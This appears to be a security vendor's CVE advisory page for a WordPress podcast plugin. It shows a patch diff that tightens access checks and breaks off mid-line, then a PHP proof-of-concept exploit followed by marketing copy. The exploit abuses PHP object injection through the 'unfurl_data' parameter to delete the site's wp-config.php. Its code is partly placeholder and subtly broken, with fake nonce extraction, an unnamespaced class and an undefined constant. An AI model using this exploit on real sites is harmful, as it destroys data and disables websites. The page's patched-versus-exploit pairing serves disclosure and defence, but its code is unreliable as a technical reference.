+++ b/podlove-podcasting-plugin-for-wordpress/includes/images.php
@@ -3,6 +3,7 @@
 use PodloveCacheHttpHeaderValidator;
 use PodloveImageCacheGenerationGuard;
 use PodloveImageCacheRequest as ImageCacheRequest;
+use PodloveImageCacheSourcePolicy;
 use PodloveLog;
 use PodloveModelImage;
 use SymfonyComponentYamlYaml;
@@ -26,6 +27,10 @@
     foreach ($cache_files as $cache_file) {
         $cache = Yaml::parse(file_get_contents($cache_file));

+        if (!SourcePolicy::allows_download($cache['source'] ?? '')) {
+            continue;
+        }
+
         if (!isset($cache['etag'])) {
             $cache['etag'] = null;
         }
@@ -49,6 +54,10 @@

 function podlove_refetch_cached_image($url, $filename)
 {
+    if (!SourcePolicy::allows_download($url)) {
+        return;
+    }
+
     (new Image($url, $filename))->redownload_source();
 }

@@ -129,6 +138,10 @@
  */
 function podlove_resolve_image_cache_file(ImageCacheRequest $request, $allow_generation)
 {
+    if (!SourcePolicy::allows_download($request->source_url())) {
+        return new WP_Error('podlove_image_cache_download_forbidden', __('This image source cannot be cached.'));
+    }
+
     $image = new Image($request->source_url(), $request->file_name());

     if (!$image->source_exists()) {
--- a/podlove-podcasting-plugin-for-wordpress/includes/podlove-web-player-5.php
+++ b/podlove-podcasting-plugin-for-wordpress/includes/podlove-web-player-5.php
@@ -18,7 +18,7 @@
     $post_id = (isset($attributes['post_id']) && $attributes['post_id']) ? $attributes['post_id'] : get_the_ID();
     $episode = Episode::find_one_by_post_id($post_id);

-    if (!$episode) {
+    if (!$episode || !PodloveApiEpisodeReadAccess::can_read($episode)) {
         return [];
     }

--- a/podlove-podcasting-plugin-for-wordpress/lib/ajax/ajax.php
+++ b/podlove-podcasting-plugin-for-wordpress/lib/ajax/ajax.php
@@ -17,11 +17,9 @@
     {
         $actions = [
             'get-new-guid',
-            'validate-url',
             'update-asset-position',
             'update-feed-position',
             'podcast',
-            'hide-teaser',
             'banner-hide',
             'onboarding-acknowledge',
             'get-license-url',
@@ -60,83 +58,70 @@

     public function job_create()
     {
-        if (!current_user_can('administrator')) {
-            http_response_code(401);
-            exit;
-        }
-
-        if (!wp_verify_nonce($_REQUEST['nonce'], 'podlove_ajax')) {
-            http_response_code(401);
-            exit;
-        }
+        MutationAccess::authorize('podlove_ajax', 'nonce', 'manage_options');

-        $job_name = filter_input(INPUT_POST, 'name');
-        $job_args = isset($_REQUEST['args']) && is_array($_REQUEST['args']) ? $_REQUEST['args'] : [];
+        $job_name = isset($_POST['name']) && is_string($_POST['name'])
+            ? sanitize_text_field(wp_unslash($_POST['name']))
+            : '';
+        $job_args = isset($_POST['args']) && is_array($_POST['args']) ? wp_unslash($_POST['args']) : [];

         // check class exists
         if (!class_exists($job_name)) {
-            self::respond_with_json(['error' => 'job "'.$job_name.'" does not exist']);
+            wp_send_json(['error' => 'job "'.$job_name.'" does not exist']);
         }

         // check that class is a job
         if (!isset(class_uses($job_name)['PodloveJobsJobTrait'])) {
-            self::respond_with_json(['error' => '"'.$job_name.'" is not a job']);
+            wp_send_json(['error' => '"'.$job_name.'" is not a job']);
         }

         $job = PodloveJobsCronJobRunner::create_job($job_name, $job_args);

         if ($job) {
-            self::respond_with_json([
+            wp_send_json([
                 'job_id' => $job->get_job_id(),
             ]);
         } else {
-            self::respond_with_json(['error' => 'A job "'.$job_name.'" is already running']);
+            wp_send_json(['error' => 'A job "'.$job_name.'" is already running']);
         }
     }

     public function job_get()
     {
-        if (!current_user_can('administrator')) {
-            exit;
+        if (!current_user_can('manage_options')) {
+            MutationAccess::send_error('forbidden', __('You are not allowed to view jobs.'), 403);
         }
-        $job_id = filter_input(INPUT_GET, 'job_id');
+
+        $job_id = self::positive_integer_parameter($_GET, 'job_id');
         $job = PodloveModelJob::find_by_id($job_id);

         if (!$job) {
-            self::respond_with_json(['error' => 'no job with id "'.$job_id.'"']);
+            MutationAccess::send_error('job_not_found', __('The requested job does not exist.'), 404);
         }

-        self::respond_with_json($job->to_array());
+        wp_send_json($job->to_array());
     }

     public function job_delete()
     {
-        if (!current_user_can('administrator')) {
-            http_response_code(401);
-            exit;
-        }
+        MutationAccess::authorize('podlove_ajax', 'nonce', 'manage_options');

-        if (!wp_verify_nonce($_REQUEST['nonce'], 'podlove_ajax')) {
-            http_response_code(401);
-            exit;
-        }
-
-        $job_id = filter_input(INPUT_GET, 'job_id');
+        $job_id = self::positive_integer_parameter($_POST, 'job_id');
         $job = PodloveModelJob::find_by_id($job_id);

         if (!$job) {
-            self::respond_with_json(['error' => 'no job with id "'.$job_id.'"']);
+            MutationAccess::send_error('job_not_found', __('The requested job does not exist.'), 404);
         }

         $job->delete();

-        self::respond_with_json(['status' => 'ok']);
+        wp_send_json(['status' => 'ok']);
     }

     public function jobs_get()
     {
-        if (!current_user_can('administrator')) {
-            exit;
+        if (!current_user_can('manage_options')) {
+            MutationAccess::send_error('forbidden', __('You are not allowed to view jobs.'), 403);
         }

         $jobs = PodloveModelJob::all();
@@ -181,7 +166,7 @@
             return $job;
         }, $jobs);

-        self::respond_with_json($jobs);
+        wp_send_json($jobs);
     }

     public function admin_news()
@@ -472,26 +457,49 @@

     public static function analytics_settings_tiles_update()
     {
-        if (!current_user_can('podlove_read_analytics')) {
-            exit;
-        }
+        MutationAccess::authorize(
+            'podlove_analytics_preferences',
+            'nonce',
+            'podlove_read_analytics'
+        );

-        $tile_id = $_GET['tile_id'];
-        $checked = isset($_GET['checked']) && $_GET['checked'] === 'checked';
+        $tile_id = isset($_POST['tile_id']) && is_string($_POST['tile_id'])
+            ? sanitize_key(wp_unslash($_POST['tile_id']))
+            : '';

-        $option = get_option('podlove_analytics_tiles', []);
+        if (!in_array($tile_id, PodloveSettingsAnalytics::tile_ids(), true)) {
+            MutationAccess::send_error('invalid_tile', __('The analytics tile is invalid.'), 400);
+        }
+
+        $checked = self::boolean_post_parameter('checked');
+        $user_id = get_current_user_id();
+        $option = PodloveSettingsAnalytics::tiles_for_user($user_id);
         $option[$tile_id] = $checked;
-        update_option('podlove_analytics_tiles', $option);
+
+        update_user_meta($user_id, PodloveSettingsAnalytics::TILES_USER_META, $option);
+
+        wp_send_json_success([
+            'tile_id' => $tile_id,
+            'checked' => $checked,
+        ]);
     }

     public static function analytics_settings_avg_update()
     {
-        if (!current_user_can('podlove_read_analytics')) {
-            exit;
-        }
+        MutationAccess::authorize(
+            'podlove_analytics_preferences',
+            'nonce',
+            'podlove_read_analytics'
+        );
+
+        $checked = self::boolean_post_parameter('checked');
+        update_user_meta(
+            get_current_user_id(),
+            PodloveSettingsAnalytics::COMPARE_AVG_USER_META,
+            $checked
+        );

-        $checked = isset($_GET['checked']) && $_GET['checked'] === 'checked';
-        update_option('podlove_analytics_compare_avg', $checked);
+        wp_send_json_success(['checked' => $checked]);
     }

     public static function analytics_csv_episodes_table()
@@ -840,101 +848,90 @@

     public function get_new_guid()
     {
-        $post_id = $_REQUEST['post_id'];
+        MutationAccess::authorize('podlove_ajax', 'nonce');

+        $post_id = self::positive_integer_parameter($_POST, 'post_id');
         $post = get_post($post_id);
-        $guid = PodloveCustom_Guid::guid_for_post($post);

-        self::respond_with_json(['guid' => $guid]);
-    }
-
-    public function validate_url()
-    {
-        if (!current_user_can('administrator')) {
-            echo 'No permission';
-
-            exit;
+        if (!$post || $post->post_type !== 'podcast') {
+            MutationAccess::send_error('post_not_found', __('The requested podcast episode does not exist.'), 404);
         }

-        $file_url = $_REQUEST['file_url'];
-
-        $r = wp_remote_head($file_url);
-
-        $response_code = $r['response']['code'];
-        $reachable = $response_code >= 200 && $response_code < 300;
-        $content_length = $r['http_response']->get_headers()['content-length'];
+        if (!current_user_can('edit_post', $post_id)) {
+            MutationAccess::send_error('forbidden', __('You are not allowed to edit this episode.'), 403);
+        }

-        $validation_cache = get_option('podlove_migration_validation_cache', []);
-        $validation_cache[$file_url] = $reachable;
-        update_option('podlove_migration_validation_cache', $validation_cache);
+        $guid = PodloveCustom_Guid::guid_for_post($post);

-        self::respond_with_json([
-            'file_url' => $file_url,
-            'reachable' => $reachable,
-            'file_size' => $content_length,
-        ]);
+        wp_send_json(['guid' => $guid]);
     }

     public function update_asset_position()
     {
-        if (!current_user_can('administrator')) {
-            echo 'No permission';
+        MutationAccess::authorize('podlove_ajax', 'nonce', 'manage_options');

-            exit;
-        }
+        $asset_id = self::positive_integer_parameter($_POST, 'asset_id');
+        $position = self::finite_float_post_parameter('position');

-        $asset_id = (int) $_REQUEST['asset_id'];
-        $position = (float) $_REQUEST['position'];
+        $asset = ModelEpisodeAsset::find_by_id($asset_id);

-        ModelEpisodeAsset::find_by_id($asset_id)
-            ->update_attributes(['position' => $position])
-        ;
+        if (!$asset) {
+            MutationAccess::send_error('asset_not_found', __('The requested episode asset does not exist.'), 404);
+        }

-        exit;
+        $asset->position = $position;
+        $asset->save();
+
+        wp_send_json_success([
+            'id' => $asset->id,
+            'position' => (float) $asset->position,
+        ]);
     }

     public function update_feed_position()
     {
-        if (!current_user_can('administrator')) {
-            echo 'No permission';
+        MutationAccess::authorize('podlove_ajax', 'nonce', 'manage_options');

-            exit;
-        }
+        $feed_id = self::positive_integer_parameter($_POST, 'feed_id');
+        $position = self::finite_float_post_parameter('position');

-        $feed_id = (int) $_REQUEST['feed_id'];
-        $position = (float) $_REQUEST['position'];
+        $feed = ModelFeed::find_by_id($feed_id);

-        ModelFeed::find_by_id($feed_id)
-            ->update_attributes(['position' => $position])
-        ;
+        if (!$feed) {
+            MutationAccess::send_error('feed_not_found', __('The requested feed does not exist.'), 404);
+        }

-        exit;
-    }
+        $feed->position = $position;
+        $feed->save();

-    public function hide_teaser()
-    {
-        update_option('_podlove_hide_teaser', true);
+        wp_send_json_success([
+            'id' => $feed->id,
+            'position' => (float) $feed->position,
+        ]);
     }

     public function banner_hide()
     {
-        if (!wp_verify_nonce($_REQUEST['_podlove_nonce'], 'podlove_onboarding')) {
-            http_response_code(401);
-            exit;
-        }
+        MutationAccess::authorize(
+            'podlove_onboarding',
+            '_podlove_nonce',
+            'manage_options'
+        );

         Onboarding::set_banner_hide('true');
+        wp_send_json_success();
     }

     public function onboarding_acknowledge()
     {
-        if (!wp_verify_nonce($_REQUEST['_podlove_nonce'], 'podlove_onboarding_acknowledge')) {
-            http_response_code(403);
-            exit;
-        }
+        MutationAccess::authorize(
+            'podlove_onboarding_acknowledge',
+            '_podlove_nonce'
+        );

         $user_id = get_current_user_id();
         Onboarding::set_acknowledge_option($user_id, true);
+        wp_send_json_success();
     }

     public function get_license_url()
@@ -952,6 +949,59 @@
         self::respond_with_json(PodloveModelLicense::get_license_from_url($_REQUEST['url']));
     }

+    private static function positive_integer_parameter(array $source, string $key): int
+    {
+        if (!isset($source[$key]) || !is_scalar($source[$key])) {
+            MutationAccess::send_error('invalid_parameter', sprintf(__('The %s parameter is invalid.'), $key), 400);
+        }
+
+        $value = filter_var(wp_unslash($source[$key]), FILTER_VALIDATE_INT, [
+            'options' => ['min_range' => 1],
+        ]);
+
+        if ($value === false) {
+            MutationAccess::send_error('invalid_parameter', sprintf(__('The %s parameter is invalid.'), $key), 400);
+        }
+
+        return $value;
+    }
+
+    private static function finite_float_post_parameter(string $key): float
+    {
+        if (!isset($_POST[$key]) || !is_scalar($_POST[$key])) {
+            MutationAccess::send_error('invalid_parameter', sprintf(__('The %s parameter is invalid.'), $key), 400);
+        }
+
+        $raw_value = wp_unslash($_POST[$key]);
+
+        if (!is_numeric($raw_value)) {
+            MutationAccess::send_error('invalid_parameter', sprintf(__('The %s parameter is invalid.'), $key), 400);
+        }
+
+        $value = (float) $raw_value;
+
+        if (!is_finite($value)) {
+            MutationAccess::send_error('invalid_parameter', sprintf(__('The %s parameter is invalid.'), $key), 400);
+        }
+
+        return $value;
+    }
+
+    private static function boolean_post_parameter(string $key): bool
+    {
+        if (!isset($_POST[$key]) || !is_scalar($_POST[$key])) {
+            MutationAccess::send_error('invalid_parameter', sprintf(__('The %s parameter is invalid.'), $key), 400);
+        }
+
+        $value = filter_var(wp_unslash($_POST[$key]), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
+
+        if ($value === null) {
+            MutationAccess::send_error('invalid_parameter', sprintf(__('The %s parameter is invalid.'), $key), 400);
+        }
+
+        return $value;
+    }
+
     private static function analytics_date_condition()
     {
         $from = filter_input(INPUT_GET, 'date_from');
--- a/podlove-podcasting-plugin-for-wordpress/lib/ajax/mutation_access.php
+++ b/podlove-podcasting-plugin-for-wordpress/lib/ajax/mutation_access.php
@@ -0,0 +1,37 @@
+<?php
+
+namespace PodloveAJAX;
+
+class MutationAccess
+{
+    public static function authorize(
+        string $nonce_action,
+        string $nonce_field,
+        ?string $capability = null,
+        array $capability_args = []
+    ): void {
+        if (strtoupper($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') {
+            if (!headers_sent()) {
+                header('Allow: POST');
+            }
+
+            self::send_error('method_not_allowed', __('This action requires a POST request.'), 405);
+        }
+
+        if (!check_ajax_referer($nonce_action, $nonce_field, false)) {
+            self::send_error('invalid_nonce', __('The request could not be verified.'), 403);
+        }
+
+        if ($capability && !current_user_can($capability, ...$capability_args)) {
+            self::send_error('forbidden', __('You are not allowed to perform this action.'), 403);
+        }
+    }
+
+    public static function send_error(string $code, string $message, int $status): void
+    {
+        wp_send_json_error([
+            'code' => $code,
+            'message' => $message,
+        ], $status);
+    }
+}
--- a/podlove-podcasting-plugin-for-wordpress/lib/api/episode_mutation_access.php
+++ b/podlove-podcasting-plugin-for-wordpress/lib/api/episode_mutation_access.php
@@ -0,0 +1,105 @@
+<?php
+
+namespace PodloveApi;
+
+use PodloveModelEpisode;
+
+class EpisodeMutationAccess
+{
+    /**
+     * Resolve an episode identifier and validate its backing post.
+     *
+     * @param mixed $episode_id
+     *
+     * @return null|array{episode: Episode, post: WP_Post}
+     */
+    public static function resolve($episode_id)
+    {
+        return EpisodeReadAccess::resolve($episode_id);
+    }
+
+    /**
+     * Resolve a WordPress post identifier to a Publisher episode.
+     *
+     * @param mixed $post_id
+     *
+     * @return null|array{episode: Episode, post: WP_Post}
+     */
+    public static function resolve_by_post_id($post_id)
+    {
+        $post_id = (int) $post_id;
+        if ($post_id <= 0) {
+            return null;
+        }
+
+        $episode = Episode::find_one_by_post_id($post_id);
+        if (!$episode || (int) $episode->post_id !== $post_id) {
+            return null;
+        }
+
+        $post = get_post($post_id);
+        if (!$post || $post->post_type !== 'podcast') {
+            return null;
+        }
+
+        return [
+            'episode' => $episode,
+            'post' => $post,
+        ];
+    }
+
+    /**
+     * Check REST edit access for an episode identifier.
+     *
+     * @param mixed $episode_id
+     *
+     * @return true|WP_Error
+     */
+    public static function rest_check_edit($episode_id)
+    {
+        return self::rest_check(self::resolve($episode_id), 'edit_post');
+    }
+
+    /**
+     * Check REST edit access for a WordPress post identifier.
+     *
+     * @param mixed $post_id
+     *
+     * @return true|WP_Error
+     */
+    public static function rest_check_edit_by_post_id($post_id)
+    {
+        return self::rest_check(self::resolve_by_post_id($post_id), 'edit_post');
+    }
+
+    /**
+     * Check REST delete access for an episode identifier.
+     *
+     * @param mixed $episode_id
+     *
+     * @return true|WP_Error
+     */
+    public static function rest_check_delete($episode_id)
+    {
+        return self::rest_check(self::resolve($episode_id), 'delete_post');
+    }
+
+    /**
+     * @param null|array{episode: Episode, post: WP_Post} $resolved
+     * @param string                                       $capability
+     *
+     * @return true|WP_Error
+     */
+    private static function rest_check($resolved, $capability)
+    {
+        if (!$resolved) {
+            return new ErrorNotFound();
+        }
+
+        if (!current_user_can($capability, $resolved['post']->ID)) {
+            return new ErrorForbiddenAccess();
+        }
+
+        return true;
+    }
+}
--- a/podlove-podcasting-plugin-for-wordpress/lib/api/episode_read_access.php
+++ b/podlove-podcasting-plugin-for-wordpress/lib/api/episode_read_access.php
@@ -0,0 +1,135 @@
+<?php
+
+namespace PodloveApi;
+
+use PodloveModelEpisode;
+
+class EpisodeReadAccess
+{
+    /**
+     * Resolve an episode and validate its backing post.
+     *
+     * @param mixed $episode_id
+     *
+     * @return null|array{episode: Episode, post: WP_Post}
+     */
+    public static function resolve($episode_id)
+    {
+        $episode = Episode::find_by_id((int) $episode_id);
+        if (!$episode) {
+            return null;
+        }
+
+        $post = $episode->post();
+        if (!$post || $post->post_type !== 'podcast') {
+            return null;
+        }
+
+        return [
+            'episode' => $episode,
+            'post' => $post,
+        ];
+    }
+
+    public static function is_public(Episode $episode)
+    {
+        $post = $episode->post();
+
+        return $post
+            && $post->post_type === 'podcast'
+            && $post->post_status === 'publish'
+            && empty($post->post_password);
+    }
+
+    public static function can_read(Episode $episode)
+    {
+        $post = $episode->post();
+        if (!$post || $post->post_type !== 'podcast') {
+            return false;
+        }
+
+        if ($post->post_status === 'publish' && empty($post->post_password)) {
+            return true;
+        }
+
+        if (!is_user_logged_in()) {
+            return false;
+        }
+
+        // WordPress' read_post meta capability does not enforce post passwords.
+        if (!empty($post->post_password)) {
+            return current_user_can('edit_post', $post->ID);
+        }
+
+        return current_user_can('read_post', $post->ID);
+    }
+
+    /**
+     * Non-REST preview endpoints use cookie authentication without a REST nonce,
+     * so unpublished data must not be made available through credentialed CORS.
+     */
+    public static function is_same_origin_request()
+    {
+        if (empty($_SERVER['HTTP_ORIGIN'])) {
+            return true;
+        }
+
+        $request_origin = wp_parse_url(wp_unslash($_SERVER['HTTP_ORIGIN']));
+        $site_origin = wp_parse_url(home_url());
+        if (!$request_origin || !$site_origin) {
+            return false;
+        }
+
+        $request_scheme = strtolower($request_origin['scheme'] ?? '');
+        $site_scheme = strtolower($site_origin['scheme'] ?? '');
+        $request_host = strtolower($request_origin['host'] ?? '');
+        $site_host = strtolower($site_origin['host'] ?? '');
+
+        $default_port = static fn ($scheme) => $scheme === 'https' ? 443 : 80;
+        $request_port = (int) ($request_origin['port'] ?? $default_port($request_scheme));
+        $site_port = (int) ($site_origin['port'] ?? $default_port($site_scheme));
+
+        return $request_scheme === $site_scheme
+            && $request_host === $site_host
+            && $request_port === $site_port;
+    }
+
+    /**
+     * Check REST read access for an episode identifier.
+     *
+     * @param mixed $episode_id
+     *
+     * @return true|WP_Error
+     */
+    public static function rest_check($episode_id)
+    {
+        $resolved = self::resolve($episode_id);
+        if (!$resolved) {
+            return new ErrorNotFound();
+        }
+
+        return self::rest_check_episode($resolved['episode']);
+    }
+
+    /**
+     * Check REST read access for an already resolved episode.
+     *
+     * @return true|WP_Error
+     */
+    public static function rest_check_episode(Episode $episode)
+    {
+        if (self::can_read($episode)) {
+            return true;
+        }
+
+        if (!is_user_logged_in()) {
+            return new ErrorNotFound();
+        }
+
+        return new WP_Error(
+            'rest_forbidden',
+            esc_html__('sorry, you do not have permissions to read this episode', 'podlove-podcasting-plugin-for-wordpress'),
+            ['status' => 403]
+        );
+    }
+}
--- a/podlove-podcasting-plugin-for-wordpress/lib/api/error.php
+++ b/podlove-podcasting-plugin-for-wordpress/lib/api/error.php
@@ -18,7 +18,7 @@
         if (strlen($message) == 0) {
             $message = esc_html__('sorry, you do not have permissions to use this REST API endpoint');
         }
-        parent::__construct($code, $message, ['status' => 401]);
+        parent::__construct($code, $message, ['status' => rest_authorization_required_code()]);
     }
 }

--- a/podlove-podcasting-plugin-for-wordpress/lib/custom_guid.php
+++ b/podlove-podcasting-plugin-for-wordpress/lib/custom_guid.php
@@ -38,16 +38,17 @@

     public static function meta_box_callback()
     {
+        $guid = (string) get_the_guid();
         ?>
 		<div>
-			<span id="gu

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16099 - Podlove Podcast Publisher <= 4.5.3 - Authenticated (Contributor+) PHP Object Injection to Arbitrary File Deletion via 'unfurl_data' Parameter

$target_url = 'https://example.com';  // Change this to the target WordPress site
$username = 'contributor_user';       // Change to a user with contributor-level access
$password = 'user_password';          // Change to the password for the user

// Authenticate to get cookies and nonces
$ch = curl_init($target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['log' => $username, 'pwd' => $password]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract the admin nonce for the REST API request (simplified - real implementation should parse the response)
preg_match('/wp-admin/admin-ajax.php/', $response, $matches); // placeholder

// Generate the malicious serialized payload
// This represents an instance of PodloveImageCacheGenerationGuard with a file path property set to the target
class GenerationGuard {
    public $file_path;
    public function __construct() {
        $this->file_path = ABSPATH . 'wp-config.php'; // Target file to delete
    }
}

$payload = serialize(new GenerationGuard());

// Base64 encode the serialized payload for injection
$encoded_payload = base64_encode($payload);

// Prepare and send the request to the vulnerable REST endpoint
$endpoint = $target_url . '/wp-json/podlove/v1/';  // Adjust to the actual endpoint handling unfurl_data
$data = [
    'unfurl_data' => $encoded_payload
];

$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// The wp-config.php file will be deleted if the exploit succeeds
echo "Exploit attempt completed. Check if the target file has been deleted on the server.n";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.